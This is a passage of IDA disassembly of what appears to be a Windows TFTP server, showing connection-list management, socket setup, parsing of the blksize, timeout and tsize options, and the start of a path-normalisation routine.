; ---------------------------------------------------------------------------


loc_1001CDA:				; CODE XREF: sub_1001A91+1CBj
		mov	eax, [esp+70h+arg_FFA4]
		push	esi
		mov	[esi+8], eax
		call	sub_1002EC8


loc_1001CEA:				; CODE XREF: sub_1001A91+19Ej
					; sub_1001A91+1BCj ...
		push	ebx
		call	ds:dword_1001058
		mov	eax, dword_1006078
		mov	dword ptr [esi+4], offset dword_1006078
		mov	[esi], eax
		push	offset dword_1005DE8
		mov	[eax+4], esi
		mov	dword_1006078, esi
		call	ds:dword_100105C
		dec	dword_1005DF4
		push	ebx
		call	ds:dword_100104C
		xor	ebp, ebp
		jmp	loc_1001AAA
; ---------------------------------------------------------------------------


loc_1001D27:				; CODE XREF: sub_1001A91+32j
		call	ds:dword_10010F8
		jmp	short loc_1001D65
; ---------------------------------------------------------------------------


loc_1001D2F:				; CODE XREF: sub_1001A91+136j
					; sub_1001A91+161j ...
		push	ebx
		call	ds:dword_1001058
		mov	eax, dword_1006078
		mov	dword ptr [esi+4], offset dword_1006078
		mov	[esi], eax
		push	offset dword_1005DE8
		mov	[eax+4], esi
		mov	dword_1006078, esi
		call	ds:dword_100105C
		dec	dword_1005DF4


loc_1001D5E:				; CODE XREF: sub_1001A91+9Dj
		push	ebx
		call	ds:dword_100104C


loc_1001D65:				; CODE XREF: sub_1001A91+3Cj
					; sub_1001A91+29Cj
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 10004h
		retn	8
sub_1001A91	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_1001D74:				; DATA XREF: sub_100188E+2Do
		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, offset dword_1006020
		push	edi
		mov	edi, ds:dword_1001070
		push	esi
		xor	ebp, ebp
		xor	ebx, ebx
		call	edi ; dword_1001070


loc_1001D8B:				; CODE XREF: .text:01001DA1j
		test	eax, eax
		jnz	short loc_1001DA7
		push	0C8h
		call	ds:dword_100106C
		push	esi
		call	edi ; dword_1001070
		inc	ebx
		cmp	ebx, 7Dh
		jb	short loc_1001D8B
		test	eax, eax
		jz	short loc_1001DD1


loc_1001DA7:				; CODE XREF: .text:01001D8Dj
		lea	eax, [esp+10h]
		push	eax
		push	dword ptr [esp+1Ch]
		call	sub_10021E5
		test	eax, eax
		jnz	short loc_1001DC0
		mov	eax, [esp+10h]
		mov	ebp, [eax+0Ch]


loc_1001DC0:				; CODE XREF: .text:01001DB7j
		push	esi
		call	ds:dword_100104C
		push	ebp
		push	dword ptr [esp+1Ch]
		call	sub_1001A91


loc_1001DD1:				; CODE XREF: .text:01001DA5j
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_1001DDB:				; DATA XREF: sub_100188E:loc_10018C2o
		push	0
		push	dword ptr [esp+8]
		call	sub_1001A91
		xor	eax, eax
		retn	8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1001DEB	proc near		; DATA XREF: sub_1001665+6o

var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		lea	eax, [ebp+var_4]
		push	eax
		call	ds:dword_10010A4
		inc	dword_1006134
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		call	ds:dword_10010B8
		mov	eax, [ebp+arg_0]
		pop	ecx
		dec	eax
		jz	short loc_1001E68
		dec	eax
		jz	short loc_1001E35
		dec	eax
		jz	short loc_1001E1D
		dec	eax
		dec	eax
		jz	short loc_1001E68
		jmp	short loc_1001E4B
; ---------------------------------------------------------------------------


loc_1001E1D:				; CODE XREF: sub_1001DEB+2Aj
		push	dword_1006040
		call	ds:dword_1001034
		mov	dword_1006124, 4
		jmp	short loc_1001E4B
; ---------------------------------------------------------------------------


loc_1001E35:				; CODE XREF: sub_1001DEB+27j
		push	dword_1006040
		call	ds:dword_1001074
		mov	dword_1006124, 7


loc_1001E4B:				; CODE XREF: sub_1001DEB+30j
					; sub_1001DEB+48j
		push	offset dword_1006120
		push	dword_1006044
		call	ds:dword_1001014
		test	eax, eax
		jnz	short locret_1001E6F
		call	ds:dword_1001038
		jmp	short locret_1001E6F
; ---------------------------------------------------------------------------


loc_1001E68:				; CODE XREF: sub_1001DEB+24j
					; sub_1001DEB+2Ej
		push	0
		call	sub_1001E73

locret_1001E6F:				; CODE XREF: sub_1001DEB+73j
					; sub_1001DEB+7Bj
		leave
		retn	4
sub_1001DEB	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001E73	proc near		; CODE XREF: sub_1001665+B9p
					; sub_1001DEB+7Fp

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, ds:dword_1001014
		push	edi
		mov	edi, offset dword_1006120
		push	edi
		mov	dword_1006124, 3
		push	dword_1006044
		call	esi ; dword_1001014
		mov	ebp, ds:dword_1001038
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_1001EA3
		call	ebp ; dword_1001038


loc_1001EA3:				; CODE XREF: sub_1001E73+2Cj
		push	dword_1005DDC
		call	ds:dword_1001030
		mov	dword_1006124, 1
		mov	dword_1006134, ebx
		mov	eax, [esp+10h+arg_0]
		mov	dword_1006138, ebx
		cmp	eax, ebx
		jnz	short loc_1001EDB
		mov	dword_100612C, ebx
		mov	dword_1006130, ebx
		jmp	short loc_1001EFD
; ---------------------------------------------------------------------------


loc_1001EDB:				; CODE XREF: sub_1001E73+58j
		cmp	eax, 834h
		jb	short loc_1001EF3
		cmp	eax, 16A7h
		mov	dword_100612C, 42Ah
		jbe	short loc_1001EF8


loc_1001EF3:				; CODE XREF: sub_1001E73+6Dj
		mov	dword_100612C, eax


loc_1001EF8:				; CODE XREF: sub_1001E73+7Ej
		mov	dword_1006130, eax


loc_1001EFD:				; CODE XREF: sub_1001E73+66j
		push	edi
		push	dword_1006044
		call	esi ; dword_1001014
		cmp	eax, ebx
		jnz	short loc_1001F0C
		call	ebp ; dword_1001038


loc_1001F0C:				; CODE XREF: sub_1001E73+95j
		mov	eax, dword_1005DE0
		mov	esi, ds:dword_1001054
		cmp	eax, ebx
		jz	short loc_1001F24
		push	eax
		call	esi ; dword_1001054
		mov	dword_1005DE0, ebx


loc_1001F24:				; CODE XREF: sub_1001E73+A6j
		mov	eax, dword_1005DDC
		cmp	eax, ebx
		jz	short loc_1001F36
		push	eax
		call	esi ; dword_1001054
		mov	dword_1005DDC, ebx


loc_1001F36:				; CODE XREF: sub_1001E73+B8j
		mov	eax, dword_1005DD0
		cmp	eax, ebx
		jz	short loc_1001F4D
		push	eax
		call	ds:dword_100109C
		pop	ecx
		mov	dword_1005DD0, ebx


loc_1001F4D:				; CODE XREF: sub_1001E73+CAj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	4
sub_1001E73	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001F54	proc near		; CODE XREF: sub_1002182+1Cp
					; sub_1002219+B7p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0FFFFFFFFh
		push	dword ptr [esi+10h]
		call	ds:dword_1001168
		push	dword ptr [esi+8]
		call	ds:dword_100111C
		push	dword ptr [esi+14h]
		call	ds:dword_1001118
		mov	eax, [esi]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jnz	short loc_1001F90
		mov	eax, dword_1006038
		mov	ecx, [eax]
		mov	eax, [eax+4]
		mov	[eax], ecx
		mov	[ecx+4], eax
		jmp	short loc_1001F9A
; ---------------------------------------------------------------------------


loc_1001F90:				; CODE XREF: sub_1001F54+29j
		mov	[ecx], eax
		mov	eax, [esi]
		mov	ecx, [esi+4]
		mov	[eax+4], ecx


loc_1001F9A:				; CODE XREF: sub_1001F54+3Aj
		push	esi
		call	ds:dword_10010A0
		pop	ecx
		pop	esi
		retn	4
sub_1001F54	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1001FA6	proc near		; CODE XREF: sub_10018DB+3Dp
					; sub_1002219+1Dp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		xor	edi, edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		push	edi
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], 0C0000017h
		mov	[ebx], edi
		call	sub_1003A4A
		cmp	eax, edi
		jz	short loc_1001FD3
		cmp	eax, 7Ah
		jnz	short loc_100201A


loc_1001FD3:				; CODE XREF: sub_1001FA6+26j
		push	[ebp+var_4]
		call	ds:dword_1001094
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	short loc_100201A


loc_1001FE3:				; CODE XREF: sub_1001FA6+63j
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		push	esi
		call	sub_1003A4A
		cmp	eax, edi
		jz	short loc_1002015
		cmp	eax, 7Ah
		jnz	short loc_100201A
		push	[ebp+var_4]
		push	esi
		call	ds:dword_1001098
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jz	short loc_100200B
		mov	esi, eax
		jmp	short loc_1001FE3
; ---------------------------------------------------------------------------


loc_100200B:				; CODE XREF: sub_1001FA6+5Fj
		push	esi
		call	ds:dword_10010A0
		pop	ecx
		jmp	short loc_100201A
; ---------------------------------------------------------------------------


loc_1002015:				; CODE XREF: sub_1001FA6+4Aj
		mov	[ebp+var_8], edi
		mov	[ebx], esi


loc_100201A:				; CODE XREF: sub_1001FA6+2Bj
					; sub_1001FA6+3Bj ...
		mov	eax, [ebp+var_8]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_1001FA6	endp


; =============== S U B	R O U T	I N E =======================================



sub_1002024	proc near		; CODE XREF: sub_100205A+B7p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_0]
		call	ds:dword_1001120
		test	eax, eax
		jz	short locret_1002057
		push	edi
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		push	esi
		mov	eax, ecx
		mov	esi, edi
		mov	edi, [esp+8+arg_4]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		pop	esi
		pop	edi

locret_1002057:				; CODE XREF: sub_1002024+Cj
		retn	8
sub_1002024	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_100205A	proc near		; CODE XREF: sub_10018DB+64p
					; sub_1002219+65p ...

var_28		= byte ptr -28h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		mov	[ebp+var_4], esi


loc_1002068:				; CODE XREF: sub_100205A+5Dj
		push	1
		push	esi
		push	esi
		push	esi
		push	2
		push	2
		call	ds:dword_10010F4
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_100209D
		xor	eax, eax
		lea	edi, [ebp+var_14]
		stosd
		stosd
		stosd
		push	offset aUdp	; "udp"
		push	offset aTftp	; "tftp"
		stosd
		call	ds:dword_1001128
		cmp	eax, esi
		jnz	short loc_10020B9
		jmp	short loc_10020B1
; ---------------------------------------------------------------------------


loc_100209D:				; CODE XREF: sub_100205A+22j
		call	ds:dword_10010F8
		push	2EEh
		call	ds:dword_100106C
		inc	[ebp+var_4]


loc_10020B1:				; CODE XREF: sub_100205A+41j
		cmp	[ebp+var_4], 0Ah
		jge	short loc_10020E6
		jmp	short loc_1002068
; ---------------------------------------------------------------------------


loc_10020B9:				; CODE XREF: sub_100205A+3Fj
		mov	[ebp+var_14], 2
		mov	ax, [eax+8]
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	ebx
		call	ds:dword_1001124
		test	eax, eax
		jz	short loc_10020E6
		call	ds:dword_1001038
		jmp	short loc_100215E
; ---------------------------------------------------------------------------


loc_10020E6:				; CODE XREF: sub_100205A+5Bj
					; sub_100205A+82j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_100215E
		push	20h
		call	ds:dword_1001094
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_100213D
		push	8
		xor	eax, eax
		pop	ecx
		mov	edi, esi
		rep stosd
		mov	eax, [ebp+arg_0]
		lea	ecx, [ebp+var_28]
		push	ecx
		push	eax
		mov	[esi+8], ebx
		mov	[esi+0Ch], eax
		call	sub_1002024
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		call	ds:dword_1001040
		mov	edi, eax
		test	edi, edi
		jz	short loc_1002140
		push	1
		push	edi
		push	ebx
		mov	[esi+14h], edi
		call	sub_100188E
		test	eax, eax
		mov	[esi+10h], eax
		jnz	short loc_1002162
		jmp	short loc_1002140
; ---------------------------------------------------------------------------


loc_100213D:				; CODE XREF: sub_100205A+9Ej
		mov	edi, [ebp+arg_0]


loc_1002140:				; CODE XREF: sub_100205A+CCj
					; sub_100205A+E1j
		push	ebx
		call	ds:dword_100111C
		test	edi, edi
		jz	short loc_1002152
		push	edi
		call	ds:dword_1001054


loc_1002152:				; CODE XREF: sub_100205A+EFj
		test	esi, esi
		jz	short loc_100215E
		push	esi
		call	ds:dword_10010A0
		pop	ecx


loc_100215E:				; CODE XREF: sub_100205A+8Aj
					; sub_100205A+8Fj ...
		xor	eax, eax
		jmp	short loc_100217B
; ---------------------------------------------------------------------------


loc_1002162:				; CODE XREF: sub_100205A+DFj
		mov	eax, dword_1006038
		mov	dword ptr [esi+4], offset dword_1006038
		mov	[esi], eax
		mov	[eax+4], esi
		mov	dword_1006038, esi
		mov	eax, esi


loc_100217B:				; CODE XREF: sub_100205A+106j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_100205A	endp


; =============== S U B	R O U T	I N E =======================================



sub_1002182	proc near		; CODE XREF: sub_1002219:loc_1002298p
		mov	ecx, dword_1006038
		push	esi
		mov	esi, offset dword_1006038
		xor	eax, eax
		cmp	ecx, esi
		jz	short loc_10021B3
		push	edi


loc_1002195:				; CODE XREF: sub_1002182+2Ej
		cmp	dword ptr [ecx+18h], 0
		mov	edi, [ecx]
		jnz	short loc_10021A8
		push	ecx
		call	sub_1001F54
		push	1
		pop	eax
		jmp	short loc_10021AC
; ---------------------------------------------------------------------------


loc_10021A8:				; CODE XREF: sub_1002182+19j
		and	dword ptr [ecx+18h], 0


loc_10021AC:				; CODE XREF: sub_1002182+24j
		cmp	edi, esi
		mov	ecx, edi
		jnz	short loc_1002195
		pop	edi


loc_10021B3:				; CODE XREF: sub_1002182+10j
		pop	esi
		retn
sub_1002182	endp


; =============== S U B	R O U T	I N E =======================================



sub_10021B5	proc near		; CODE XREF: sub_1002219+43p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		push	esi
		mov	ecx, offset dword_1006038
		and	dword ptr [edx], 0
		mov	eax, dword_1006038


loc_10021C7:				; CODE XREF: sub_10021B5+21j
		cmp	eax, ecx
		jz	short loc_10021DF
		mov	esi, [eax+0Ch]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_10021D8
		mov	eax, [eax]
		jmp	short loc_10021C7
; ---------------------------------------------------------------------------


loc_10021D8:				; CODE XREF: sub_10021B5+1Dj
		push	1
		mov	[edx], eax
		pop	eax
		jmp	short loc_10021E1
; ---------------------------------------------------------------------------


loc_10021DF:				; CODE XREF: sub_10021B5+14j
		xor	eax, eax


loc_10021E1:				; CODE XREF: sub_10021B5+28j
		pop	esi
		retn	8
sub_10021B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_10021E5	proc near		; CODE XREF: .text:01001DB0p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		push	esi
		mov	ecx, offset dword_1006038
		and	dword ptr [edx], 0
		mov	eax, dword_1006038


loc_10021F7:				; CODE XREF: sub_10021E5+21j
		cmp	eax, ecx
		jz	short loc_100220A
		mov	esi, [eax+8]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_1002208
		mov	eax, [eax]
		jmp	short loc_10021F7
; ---------------------------------------------------------------------------


loc_1002208:				; CODE XREF: sub_10021E5+1Dj
		mov	[edx], eax


loc_100220A:				; CODE XREF: sub_10021E5+14j
		mov	eax, [edx]
		pop	esi
		neg	eax
		sbb	eax, eax
		and	al, 0A9h
		add	eax, 57h
		retn	8
sub_10021E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1002219	proc near		; DATA XREF: sub_10018DB+CBo

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	offset dword_1006020
		mov	[ebp+var_C], esi
		call	ds:dword_1001058
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_1001FA6
		test	eax, eax
		jnz	short loc_10022A9
		mov	eax, [ebp+var_4]
		xor	ebx, ebx
		cmp	[eax], esi
		jbe	short loc_1002298


loc_1002248:				; CODE XREF: sub_1002219+7Dj
		mov	eax, [eax+esi+4]
		test	eax, eax
		jz	short loc_100228D
		cmp	eax, 100007Fh
		jz	short loc_100228D
		lea	ecx, [ebp+var_8]
		push	ecx
		push	eax
		call	sub_10021B5
		test	eax, eax
		jz	short loc_1002271
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax+18h], 1
		jmp	short loc_100228D
; ---------------------------------------------------------------------------


loc_1002271:				; CODE XREF: sub_1002219+4Aj
		mov	eax, [ebp+var_4]
		push	1
		pop	edi
		push	dword ptr [eax+esi+4]
		mov	[ebp+var_C], edi
		call	sub_100205A
		test	eax, eax
		mov	[ebp+var_8], eax
		jz	short loc_100228D
		mov	[eax+18h], edi


loc_100228D:				; CODE XREF: sub_1002219+35j
					; sub_1002219+3Cj ...
		mov	eax, [ebp+var_4]
		inc	ebx
		add	esi, 18h
		cmp	ebx, [eax]
		jb	short loc_1002248


loc_1002298:				; CODE XREF: sub_1002219+2Dj
		call	sub_1002182
		push	[ebp+var_4]
		mov	esi, eax
		call	ds:dword_10010A0
		pop	ecx


loc_10022A9:				; CODE XREF: sub_1002219+24j
		cmp	[ebp+var_C], 0
		jnz	short loc_10022E9
		test	esi, esi
		jnz	short loc_10022E9
		mov	eax, dword_1006038
		mov	edi, offset dword_1006038
		cmp	eax, edi
		jz	short loc_10022E9


loc_10022C1:				; CODE XREF: sub_1002219+CEj
		mov	[ebp+var_8], eax
		mov	ebx, [eax]
		test	byte ptr [eax+1Ch], 1
		jnz	short loc_10022E3
		mov	esi, [eax+0Ch]
		push	eax
		call	sub_1001F54
		push	esi
		call	sub_100205A
		test	eax, eax
		jz	short loc_10022E3
		or	dword ptr [eax+1Ch], 1


loc_10022E3:				; CODE XREF: sub_1002219+B1j
					; sub_1002219+C4j
		cmp	ebx, edi
		mov	eax, ebx
		jnz	short loc_10022C1


loc_10022E9:				; CODE XREF: sub_1002219+94j
					; sub_1002219+98j ...
		push	offset dword_1006100
		push	offset dword_1005E00
		call	sub_1003A44
		push	offset dword_1006020
		call	ds:dword_100104C
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_1002219	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_100230A	proc near		; CODE XREF: sub_1001A91+242p
					; sub_10023D8+23Cp ...

var_FFBC	= word ptr -0FFBCh
var_FFBA	= word ptr -0FFBAh
var_FFB8	= byte ptr -0FFB8h
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	eax, 0FFBCh
		call	sub_1003A3E
		push	ebx
		push	esi
		mov	esi, ds:dword_1001104
		push	edi
		push	5
		call	esi ; dword_1001104
		mov	edi, [ebp+arg_C]
		mov	[ebp+var_FFBC],	ax
		push	edi
		call	esi ; dword_1001104
		cmp	[ebp+arg_10], 0
		mov	[ebp+var_FFBA],	ax
		jz	short loc_1002369
		mov	edi, [ebp+arg_10]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [ebp+var_FFB8]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	edi, [ebp+arg_10]
		jmp	short loc_10023A2
; ---------------------------------------------------------------------------


loc_1002369:				; CODE XREF: sub_100230A+32j
		cmp	di, 9
		jb	short loc_1002371
		xor	edi, edi


loc_1002371:				; CODE XREF: sub_100230A+63j
		movzx	eax, di
		or	ecx, 0FFFFFFFFh
		lea	ebx, [ebp+var_FFB8]
		mov	edx, off_1005CC0[eax*4]
		xor	eax, eax
		mov	edi, edx
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	edi, edx


loc_10023A2:				; CODE XREF: sub_100230A+5Dj
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		push	10h
		push	[ebp+arg_0]
		not	ecx
		dec	ecx
		push	eax
		add	ecx, 5
		lea	eax, [ebp+var_FFBC]
		push	ecx
		push	eax
		push	[ebp+arg_8]
		call	ds:dword_1001130
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_10023D1
		call	ds:dword_10010F8


loc_10023D1:				; CODE XREF: sub_100230A+BFj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	14h
sub_100230A	endp


; =============== S U B	R O U T	I N E =======================================



sub_10023D8	proc near		; CODE XREF: sub_1002F31+302p
					; sub_100333A+26Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h
arg_14		= dword	ptr  18h

		mov	eax, [esp+arg_0]
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_10]
		mov	dword ptr [eax+20h], 200h
		mov	dword ptr [eax+28h], 0Ah
		mov	eax, [esp+0Ch+arg_14]
		push	edi
		mov	ecx, 3FEFh
		and	dword ptr [eax], 0
		xor	eax, eax
		mov	edi, esi
		push	6
		rep stosd
		call	ds:dword_1001104
		mov	[esi], ax
		lea	ebx, [esi+2]
		mov	ebp, [esp+10h+arg_4]
		cmp	byte ptr [ebp+0], 0
		jz	loc_10025E4


loc_1002420:				; CODE XREF: sub_10023D8+202j
		mov	esi, ds:dword_100115C
		push	offset aBlksize	; "blksize"
		push	ebp
		call	esi ; dword_100115C
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_1002498
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	edi, ecx
		push	8
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		pop	esi
		add	ebp, esi
		add	ebx, esi
		push	ebp
		call	ds:dword_1001160
		pop	ecx
		cmp	eax, esi
		mov	ecx, [esp+10h+arg_0]
		mov	[ecx+20h], eax
		jb	loc_10025FD
		cmp	eax, 0FFB8h
		ja	loc_10025FD
		cmp	eax, 5B0h
		jnz	short loc_100248F
		mov	dword ptr [ecx+20h], 200h
		sub	ebx, esi
		jmp	loc_10025C6
; ---------------------------------------------------------------------------


loc_100248F:				; CODE XREF: sub_10023D8+A7j
		push	0Ah
		push	ebx
		push	eax
		jmp	loc_1002597
; ---------------------------------------------------------------------------


loc_1002498:				; CODE XREF: sub_10023D8+5Aj
		push	offset aTimeout_0 ; "timeout"
		push	ebp
		call	esi ; dword_100115C
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_100251A
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	edi, ecx
		add	ebp, 8
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebx
		push	ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		add	ebx, 8
		and	ecx, 3
		rep movsb
		call	ds:dword_1001160
		pop	ecx
		mov	ecx, [esp+10h+arg_0]
		push	1
		pop	edx
		cmp	eax, edx
		mov	[ecx+28h], eax
		jl	loc_1002602
		cmp	eax, 0FFh
		jg	loc_1002602
		mov	eax, [esp+10h+arg_14]
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		mov	[eax], edx
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	edi, ebp
		jmp	loc_10025A2
; ---------------------------------------------------------------------------


loc_100251A:				; CODE XREF: sub_10023D8+CCj
		push	offset aTsize	; "tsize"
		push	ebp
		call	esi ; dword_100115C
		pop	ecx
		mov	edi, ebp
		test	eax, eax
		pop	ecx
		jnz	loc_10025B2
		or	edx, 0FFFFFFFFh
		xor	eax, eax
		mov	ecx, edx
		add	ebp, 6
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebx
		add	ebx, 6
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		cmp	[esp+10h+arg_8], 2
		rep movsb
		jnz	short loc_100258D
		mov	edi, ebp
		mov	ecx, edx
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	edi, ebp
		mov	ecx, edx
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, ebp
		lea	ebx, [ebx+ecx+1]
		mov	ecx, edx
		jmp	short loc_10025CB
; ---------------------------------------------------------------------------


loc_100258D:				; CODE XREF: sub_10023D8+180j
		mov	eax, [esp+10h+arg_0]
		push	0Ah
		push	ebx
		push	dword ptr [eax+24h]


loc_1002597:				; CODE XREF: sub_10023D8+BBj
		call	ds:dword_1001164
		add	esp, 0Ch
		mov	edi, ebx


loc_10025A2:				; CODE XREF: sub_10023D8+13Dj
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		lea	ebx, [ebx+ecx+1]
		jmp	short loc_10025C6
; ---------------------------------------------------------------------------


loc_10025B2:				; CODE XREF: sub_10023D8+150j
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		cmp	[ebp+ecx+1], al
		lea	ebp, [ebp+ecx+1]
		jz	short loc_10025E0


loc_10025C6:				; CODE XREF: sub_10023D8+B2j
					; sub_10023D8+1D8j
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh


loc_10025CB:				; CODE XREF: sub_10023D8+1B3j
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		cmp	[ebp+ecx+1], al
		lea	ebp, [ebp+ecx+1]
		jnz	loc_1002420


loc_10025E0:				; CODE XREF: sub_10023D8+1ECj
		mov	esi, [esp+10h+arg_10]


loc_10025E4:				; CODE XREF: sub_10023D8+42j
		mov	eax, [esp+10h+arg_C]
		sub	ebx, esi
		cmp	ebx, 2
		mov	[eax], ebx
		jnz	short loc_10025F4
		and	dword ptr [eax], 0


loc_10025F4:				; CODE XREF: sub_10023D8+217j
		xor	eax, eax


loc_10025F6:				; CODE XREF: sub_10023D8+244j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	18h
; ---------------------------------------------------------------------------


loc_10025FD:				; CODE XREF: sub_10023D8+91j
					; sub_10023D8+9Cj
		push	0
		push	esi
		jmp	short loc_1002606
; ---------------------------------------------------------------------------


loc_1002602:				; CODE XREF: sub_10023D8+105j
					; sub_10023D8+110j
		push	0
		push	8


loc_1002606:				; CODE XREF: sub_10023D8+228j
		push	dword ptr [ecx+8]
		lea	eax, [ecx+0FFF1h]
		add	ecx, 0Ch
		push	eax
		push	ecx
		call	sub_100230A
		or	eax, 0FFFFFFFFh
		jmp	short loc_10025F6
sub_10023D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_100261E	proc near		; CODE XREF: sub_1002F31+130p
					; sub_100333A+150p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	al, [ebx]
		mov	ecx, ebx
		mov	esi, ebx
		mov	[ebp+arg_0], ebx


loc_1002630:				; CODE XREF: sub_100261E+22j
		test	al, al
		jz	short loc_1002642
		cmp	al, 5Ch
		jz	short loc_100263C
		cmp	al, 2Fh
		jnz	short loc_1002642


loc_100263C:				; CODE XREF: sub_100261E+18j
		mov	al, [ecx+1]
		inc	ecx
		jmp	short loc_1002630
; ---------------------------------------------------------------------------


loc_1002642:				; CODE XREF: sub_100261E+14j
					; sub_100261E+1Cj ...
		mov	al, [ecx]
		test	al, al
		jz	loc_10026E4
		cmp	al, 2Eh
		jnz	loc_100271C
		mov	dl, [ecx+1]
		lea	edi, [ecx+1]
		cmp	dl, 5Ch
		jz	loc_1002718
		cmp	dl, 2Fh
		jz	loc_1002718
		cmp	dl, al
		jnz	loc_1002703
		mov	dl, [ecx+2]
		lea	edi, [ecx+2]
		cmp	dl, 5Ch
